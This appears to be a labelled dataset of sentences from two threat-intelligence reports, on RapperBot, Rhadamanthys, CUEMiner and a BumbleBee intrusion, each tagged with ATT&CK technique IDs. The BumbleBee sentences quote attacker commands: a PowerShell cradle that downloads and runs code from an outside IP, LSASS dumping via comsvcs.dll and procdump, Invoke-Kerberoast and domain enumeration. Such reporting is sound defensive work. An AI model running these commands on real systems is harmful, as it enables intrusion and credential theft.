{"sentence": "RapperBot then determines the processor architecture and infects the device.", "labels": ["T1082"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The downloading of the actual malware is done via a variety of possible commands (for example, wget, curl, tftp and ftpget).", "labels": ["T1570"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "If for some reason these methods don’t work, then a malware downloader is uploaded to the device via the shell “echo” commands.", "labels": ["T1059.003", "T1105"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Rhadamanthys: malvertising on websites and in search engines Rhadamanthys is a new information stealer first presented on a Russian-speaking cyber criminal forum in September 2022 and offered as a MaaS platform.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "According to the author, the malware: Is written in C/C++, while the C2 is written in Golang.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Is able to do a “stealthy” infection.", "labels": ["T1082"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Is able to steal/gather information on CPU type, screen resolution, supported wallets, and so on.", "labels": ["T1082"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Evades EDR/AV. Has encrypted communication with the C2.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Despite the malware being advertised already in September 2022, we started to detect the first samples at the beginning of 2023.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Although Rhadamanthys was using phishing and spam initially as the infection vector, the most recent method is malvertising.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Online advertising platforms offer advertisers the possibility to bid in order to display brief ads in search engines, such as Google, but also websites, mobile apps and more.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Both search engine and website-based ad platforms are leveraged by Rhadamanthys.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The trick they pull is to display ads representing legitimate applications but in fact containing links to phishing websites.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "These phishing websites contain fake installers, luring users into downloading and installing the malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "While analyzing Rhadamanthys, we noticed a strong connection with Hidden Bee miner.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Both samples use images to hide the payload inside and both have similar shellcodes for bootstrapping.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Additionally, both use “in-memory virtual file systems” and utilize Lua to load plugins and modules. Comparison between Rhandamanthys’s “prepare.bin” and Hidden Bee’s “preload” modules CUEMiner: distribution through BitTorrent and OneDrive In August 2021, a project was started on GitHub called SilentCryptoMiner, hosting the miner consisting of a downloader and the payload, bot source and the compiled builder, as well as additional software, such as a system watcher.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "It has been constantly updated, with the latest update going back to October 31 2022.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The repository is popular with cybercriminals, as illustrated by the huge number of samples we detected that featured many small changes and were combined with the different URLs and TTPs, making it clear that the malware is used by multiple groups in various ways concurrently.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "During our investigation, we noticed two methods of spreading the malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The first is via trojanized cracked software downloaded via BitTorrent.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The other method is via trojanized cracked software that is downloaded from OneDrive sharing networks.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "How victims are lured into downloading these cracked packages is speculation, because we couldn’t find any direct links.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Nevertheless, many crack sites these days do not immediately provide downloads.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Instead, they point to Discord server channels for further discussion.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "This suggests some form of human interaction and social engineering.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The downloader is written in .NET and called CUEMiner.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Despite being written in .NET, it is wrapped by a C++ based dropper and it connects to a set of URLs, which is varying from sample to sample, to download the miner and configuration settings.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "It also performs several checks in order to ensure it is running on bare metal systems, and not on a virtual machine.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "In case all checks are passed, the malware: Reconfigures Windows Defender to exclude the user profile path and the entire system drive from scanning.", "labels": ["T1562.001"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Fetches configuration details from a hardcoded URL and saves it at different places (for example, c:\\logs.uce, %localappdata%\\logs.uce).", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Creates empty files and subdirectories in %ProgramData%\\HostData to make the directory look benign.", "labels": ["T1105"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Downloads the miner and watcher.", "labels": ["T1105"], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Does a number of other things.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The full list you can find in our private report.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "The watcher, as the name suggests, monitors the system.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "If it doesn’t detect any processes that consume lots of system power (for example, games), the miner software is launched.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "When a heavy process, such as a game, is started, the miner is stopped and only started again when the aforementioned process stops.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "This is done in order to stay undetected on the system longer.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Conclusion Open source malware is often used by less skilled cybercriminals.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "They often lack the required skills and contacts to conduct massive campaigns.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Nevertheless, they can be still quite active and effective, as is shown by the huge number of CUEMiner samples we detected.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "If along their cybercriminal career they gain more skills, such as programming and understanding security better, they often reuse and improve crucial source code parts from open source malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "Code reuse and rebranding is also used quite often by cybercriminals.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "There are many ransomware variants that change names over time while mostly containing the same code base.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "In other cases, cybercriminals re-use parts of the code in new campaigns.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "For example, Rhadamantys stealer features some code overlaps with the Hidden Bee malware.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "This suggests involvement of at least one individual in the Rhadamantys campaign who had also been involved in the development of Hidden Bee.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "To protect yourself against these threats, intelligence reports can help.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "If you want to stay up to date on the latest TTPs used by criminals or have questions about our private reports, please contact crimewareintel@kaspersky.com.", "labels": [], "doc_title": "Uncommon infection methodspart 2"}
{"sentence": "In this intrusion from April 2022, the threat actors used BumbleBee as the initial access vector.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "BumbleBee is a malware loader that was first reported by Google Threat Analysis Group in March 2022.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Google TAG attributes this malware to an initial access broker (IAB) dubbed EXOTIC LILY, working with the cybercrime group FIN12/WIZARD SPIDER/DEV-0193.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Read more about BumbleBee here, and here.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "During this intrusion, the threat actors gained access using an ISO and LNK file, used several lateral movement techniques, dumped credentials three different ways, kerberoasted a domain admin account and dropped/executed a bespoke tool for discovering privilege escalation paths.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Case Summary In this intrusion, the threat actors operated in an environment over an 11 day dwell period.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The intrusion began with a password protected zipped ISO file that we assess with medium to high confidence due to other reports, likely arrived via an email which included a link to download said zip file.", "labels": ["T1204.002"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The execution phase started with that password protected zip, which after extracting would show the user an ISO file that after the user double clicks would mount like a CD or external media device on Windows and present the user with a single file named documents in the directory.", "labels": ["T1204.002"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "When the user double clicks or opens the lnk file, they inadvertently starts a hidden file in the directory, a DLL (namr.dll) containing the Bumblebee malware loader.", "labels": ["T1204.002", "T1564.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "From there, the loader reached out to the Bumblebee C2 server.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "At first, things remained fairly quiet, just C2 communications; until around 3 hours later, Bumblebee dropped a Cobalt Strike beacon named wab.exe on the beachhead host.", "labels": ["T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This Cobalt Strike beacon was subsequently executed and then proceeded to inject into various other processes on the host (explorer.exe, rundll32.exe).", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "From these injected processes, the threat actors began discovery tasks using Windows utilities like ping and tasklist.", "labels": ["T1055", "T1057", "T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Four hours after initial access, the threat actor started their first lateral movement using RDP to pivot to a server using the local Administrator account.", "labels": ["T1021.001", "T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actor then deployed Anydesk, which was the only observed persistence mechanism used during the intrusion.", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actor then started Active Directory mapping using Adfind.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "After this activity, the threat actors went silent.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Then, the next day, they accessed the server via RDP and deployed a bespoke tool, VulnRecon, designed to identify local privilege escalation paths on a Windows host.", "labels": ["T1021.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The tool appeared to be still under development as several command options were not yet implemented.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The next check in from the threat actors, occurred on the 4th day, where the threat actors again ran VulnRecon, but from the beachhead host instead of the server.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AdFind was used again as well.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Next, the threat actor transferred Sysinternals tool Procdump over SMB, to the ProgramData folders on multiple hosts in the environment.", "labels": ["T1570"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "They then used remote services to execute Procdump, which was used to dump lsass.", "labels": ["T1003.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "At this point, the actors appeared to be searching for more access then they currently had.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "While they were able to move laterally to workstations and at least one server, it seemed that they had not yet taken control of an account that provided them the access they were seeking, likely a Domain Administrator or similarly highly privileged account.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "After that activity, the threat actors then disappeared until the 7th day, at which time they accessed the server via Anydesk.", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Again, they executed VulnRecon and then also executed Seatbelt, a red team tool for preforming various host based discovery.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "On the final day of the intrusion, the 11th day since the initial entry by the threat actor, they appeared to be preparing to act on final objectives.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actors used PowerShell to download and execute a new Cobalt Strike PowerShell beacon in memory on the beachhead host.", "labels": ["T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "After injecting into various processes on the host, the threat actors executed the PowerShell script Invoke-Kerberoast.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Next, they used yet another technique to dump LSASS on the beachhead host, this time using a built in Windows tool comsvcs.dll.", "labels": ["T1003.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AdFind was run for a 3rd time in the network, and then two batch scripts were dropped and run.", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "These batch scripts’ purposes were to identify all online servers and workstations in the environment, often a precursor to ransomware deployment by creating the target list for that deployment.", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "After the scripts ran, a new Cobalt Strike executable beacon was run on the beachhead.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Next, the threat actors used a service account to execute a Cobalt Strike beacon remotely on a Domain Controller.", "labels": ["T1569.002"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This service account was most likely cracked offline after being kerberoasted earlier in the intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actors were then evicted from the environment before any final actions could be taken.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We assess based on the level of access and discovery activity from the final day the likely final actions would have been a domain wide ransom deployment.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Timeline Analysis and reporting completed by @0xtornado and @MetallicHack Initial Access", "labels": ["T1566.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actors managed to get access to the beachhead host after the successful execution of a lnk file within an ISO, which are usually distributed through email campaigns.", "labels": ["T1566.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The initial payload named BC_invoice_Report_CORP_46.iso, is an ISO image that once mounted, lures the user to open a document.lnk file which will execute the malicious DLL loader using the following command line:", "labels": ["T1059.003", "T1204.002", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "C:\\Windows\\System32\\cmd.exe /c start rundll32 namr.dll,IternalJob Running Eric Zimmerman’s tool LECmd revealed additional details related to the threat actors.", "labels": ["T1059.003", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The metadata included TA machine’s hostname, MAC address, and the LNK document creation date: Execution Execution of multiple payloads The successful execution of BumbleBee payload (namr.dll) resulted in the dropping and the execution of several payloads using multiple techniques.", "labels": ["T1016", "T1082", "T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The graph below shows all the payloads dropped by BumbleBee, the way they were executed, and the different processes they injected into: Sysmon File Created event showing wab.exe created by rundll32.exe Sysmon Event Code 1 showing wab.exe executed by WMI Execution of Cobalt Strike The following PowerShell one-liner was executed from wab.exe during day 11, which downloaded obfuscated PowerShell and executed it in memory: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1027", "T1047", "T1055", "T1059.003", "T1105", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "powershell.exe -nop", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "-w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://104.243.33.50:80/a'))\" Since the download took place over an unencrypted HTTP channel, the network traffic was plainly visible.", "labels": ["T1059.003", "T1071.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This payload can be deobfuscated using the following CyberChef recipe: Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Gunzip() Label('Decode_Shellcode') Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') Conditional_Jump('',false,'',10) From_Base64('A-Za-z0-9+/=',true) XOR({'option':'Decimal','string':'35'},'Standard',false) Once deobfuscated, we can spot the MZRE header, which is part of the default configuration of Cobalt Strike: One of the easiest ways to extract valuable information from this Shellcode is using Didier Stevens 1768.py tool: The command and control server was hosted on (108.62.12[.]174/dofixifa[.]co).", "labels": ["T1140"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The full config extraction, detailing the Malleable C2 profile, is available in Command and Control section.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Persistence AnyDesk and its installation as a service was used in order to persist and create a backdoor to the network.", "labels": ["T1219", "T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Privilege Escalation GetSystem Threat actors made a mistake by launching the getsystem command in the wrong console (shell console rather than the beacon console).", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The parent process of this command was C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "cbdhsvc , a process where Cobalt Strike was injected into: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1055", "T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "getsystem", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This command is a built-in Cobalt Strike command that is used to get SYSTEM privileges.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "A detailed write-up of this feature is documented in the official Cobalt Strike blog and was also detailed in our Cobalt Strike, a Defender’s Guide blog post. Valid Accounts Threat actors obtained and abused credentials of privilege domain accounts as a means of gaining privilege escalation on the domain.", "labels": ["T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "A service account, with Domain Administration permissions, was used to create a remote service on a Domain Controller to move laterally.", "labels": ["T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Defense Evasion Process Injection The process injection technique was used multiple times to inject into different processes.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Almost every post-exploitation job was launched from an injected process.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Right after its execution, the wab.exe process created two remote threads in order to inject code into explorer.exe and rundll32.exe: Threat actors also created a remote thread in svchost.exe: Multiple processes were then spawned by : C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "cbdhsvc to perform various techniques (Enumeration, Credential dumping, etc.):", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "A yara scan of process memory using the Malpedia Cobalt Strike rule revealed the various injections across hosts as well.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Pid ProcessName CommandLine 6832 explorer.exe C:\\Windows\\Explorer.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "EXE 7476 svchost.exe C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "-s cbdhsvc 8088 wab.exe C:\\Users\\USER\\AppData\\Local\\wab.exe 34296", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "rundll32.exe C:\\Windows\\system32\\rundll32.exe 19284 powershell.exe “c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe” -Version 5.1 -s", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "-NoLogo -NoProfile 7316 svchost.exe C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup 7288 svchost.exe C:\\Windows\\system32\\svchost.exe -k", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "UnistackSvcGroup -s", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "WpnUserService 20400 rundll32.exe C:\\Windows\\System32\\rundll32.exe Indicator Removal on Host: File Deletion", "labels": ["T1027"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We observed the threat actors deleting their tools (Procdump, Network scanning scripts, etc.) from hosts.", "labels": ["T1027"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The table below shows an example of ProcDump deletion from the ProgramData folder of all targeted workstations after dumping their LSASS process: Credential Access LSASS Dump MiniDump Threat actors dumped the LSASS process from the beachhead using the comsvcs.dll MiniDump technique via the C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": ["T1003.001", "T1027"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "-s cbdhsvc beacon: cmd.exe /C", "labels": ["T1059.003", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump 968 C:\\ProgramData\\REDACTED\\lsass.dmp full ProcDump Threat actors also dropped procdump.exe and procdump64.exe on multiple workstations remotely, dumped LSASS, and deleted them from the ProgramData folder:", "labels": ["T1003.001", "T1027", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The ProcDump utility was executed on those workstations using the following command line: C:\\programdata\\procdump64.exe -accepteula -ma lsass.exe C:\\ProgramData\\lsass.dmp Kerberoasting Invoke-Kerberoast command was executed from the beachhead through svchost.exe, a process where the threat actors injected: Here is an extract of PowerShell EventID", "labels": ["T1003.001", "T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "800 showing different Invoke-Kerberoast options used by threat actors, including HashCat output format", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": ": IEX (New-Object Net.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\\ProgramData\\REDACTED\\ps.txt -append -force -Encoding UTF8 Right after the execution of Invoke-Kerberoast, DC logs show that multiple Kerberos Service Tickets were requested from the beachhead, with ticket encryption type set to 0x17 (RC4) and ticket options to 0x40810000, to service accounts.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Around 3 hours later, the service account logged into one of the Domain Controllers from the beachhead.", "labels": ["T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We assess with high confidence that the service account password was weak and cracked offline by threat actors.", "labels": ["T1110"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Discovery Reconnaissance System Information & Software Discovery The following commands were launched by wab.exe beacon: whoami ipconfig /all tasklist systeminfo wmic product get name,version wmic /node:<REDACTED> process list brief net view \\\\<REDACTED>\\Files$ /all dir \\\\<REDACTED>\\C$\\ Using the same beacon, wab.exe, tasklist was also used in order to enumerate processes on multiple hosts remotely: tasklist /v /s", "labels": ["T1016", "T1033", "T1047", "T1057", "T1082"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "<REMOTE_IP> Permission Groups Discovery As we have already observed in multiple cases, the threat actors enumerated the local administrators group and domain privileged (Enterprise and DAs) administrators groups mainly using net command: net use net group \"Domain computers\" /dom net group \"Enterprise admins\" /domain net group \"domain admins\" /domain net localgroup administrators nltest /dclist: nltest /domain_trusts ping -n 1 <REMOTE_IP>", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Opsec mistake Threat actors failed on a part of their tasks, by executing the command in the wrong console: C:\\Windows\\System32\\rundll32.exe ➝ C :\\Windows\\system32\\cmd.exe /C", "labels": ["T1033", "T1059.003", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "shell whoami /all", "labels": ["T1033", "T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We can assert with high confidence that the recon stage was not fully automated, and threat actors manually executed commands and made a mistake in one of those.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AdFind To enumerate Active Directory, the threat actors executed AdFind from the beachhead host, on three different occasions: The source of execution, the initiating parent process, was different on each occasion and the name of AdFind binary and the result files were different on one occasion, which could indicate multiple Threat actors accessing the network.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Network scanning Threat actors used two scripts named s.bat (for servers) and w.bat (for workstations) to ping the hosts and store the results in two log files: s.bat script: @echo off for /f", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "i in (servers.txt) do for /f \"tokens=2 delims=[]\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%%j in ('ping -n 1 -4", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "\"%%i\"') do @echo", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%%j >> serv.log w.bat script: @echo off for /f", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%%i in (workers.txt) do for /f \"tokens=2 delims=[]\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "j >> work.log Both of those scripts were executed from the PowerShell Cobalt Strike beacon (powershell.exe).", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Invoke-ShareFinder Invoke-ShareFinder is a PowerShell module which is part of PowerView. Invoke-ShareFinder – finds (non-standard) shares on hosts in the local domain Threat actors performed share enumeration using Invoke-ShareFinder.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:39303/%27); Invoke-ShareFinder -CheckShareAccess -Verbose", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "| Tee-Object ShareFinder.txt Because rundll32.exe executed PowerShell, we can see that rundll32.exe created the ShareFinder.txt output file in C:\\ProgramData\\. Seatbelt The tool SeatBelt was used by the threat actors on a server in order to discover potential security misconfigurations.", "labels": ["T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Seatbelt is a C# project that performs a number of security oriented host-survey “safety checks” relevant from both offensive and defensive security perspectives.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Threat actors performed a full reconnaissance by specifying the flag -group=all: Seatbelt.exe -group=all -outputfile=\"C:\\ProgramData\\seatinfo.txt\" VulnRecon Threat actors dropped two binaries named vulnrecon.dll and vulnrecon.exe on two hosts.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This is the first time we’ve observed this tool.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This library seems to be a custom tool developed to assist threat actors with Windows local privilege escalation enumeration.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "vulnrecon.dll PDB: D:\\a\\_work\\1\\s\\artifacts\\obj\\win-x64.Release\\corehost\\cli\\apphost\\standalone\\Release\\apphost.pdbvulnrecon.exe PDB: D:\\work\\rt\\VulnRecon\\VulnRecon\\obj\\Release\\net5.0\\VulnRecon.pdb The table below summarizes the capabilities of the tool:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Option/Command Details (from the code) ‘v’ or “Vulnerability” “Search for available vulnerabilities for using LPE tools””Scans the operating system for vulnerabilities and displays a list of tools for a LPE” ‘m’ or “MicrosoftUpdates” “List of all installed microsoft updates””Displays a list installed Microsoft updates” ‘h’ or “HotFixes” “List of installed hot fixes””Displays a list of installed hot fixes” ‘s’ or “SupportedCve” “List of implemented tools for LPE “”Displays list of implemented CVE for LPE” ‘i’ or “SystemInfo” “Display information about current Windows version “ Below is the list of all of the currently supported (or implemented) CVE enumeration via installed KBs mapping: Threat actors executed this tool on patient 0 with low-level privileges multiple times, and again on a server with Administrator privileges.", "labels": ["T1078", "T1082"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Below are all the command lines run by the adversaries: Lateral Movement Lateral Tool Transfer Using the Cobalt Strike beacon, the threat actors transferred AnyDesk (1).exe file from the beachhead to a server: The threat actors also transferred ProcDump from the beachhead to multiple workstations: Remote Services Remote Desktop Protocol Threat actors used explorer.exe, where they were previously injected into, to initiate a proxied RDP connection to a server: Threat actors performed the first lateral movement from the beachhead to the server using RDP with an Administrator account: This first lateral movement was performed in order to drop and install AnyDesk.", "labels": ["T1021.001", "T1055", "T1078", "T1570"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "SMB/Windows Admin Shares Remote Service over RPC Multiple RPC connections were initiated from the rundll32.exe process where wab.exe previously injected into: These RPC connections targeted multiple hosts, including workstations, servers, and DCs.", "labels": ["T1055", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
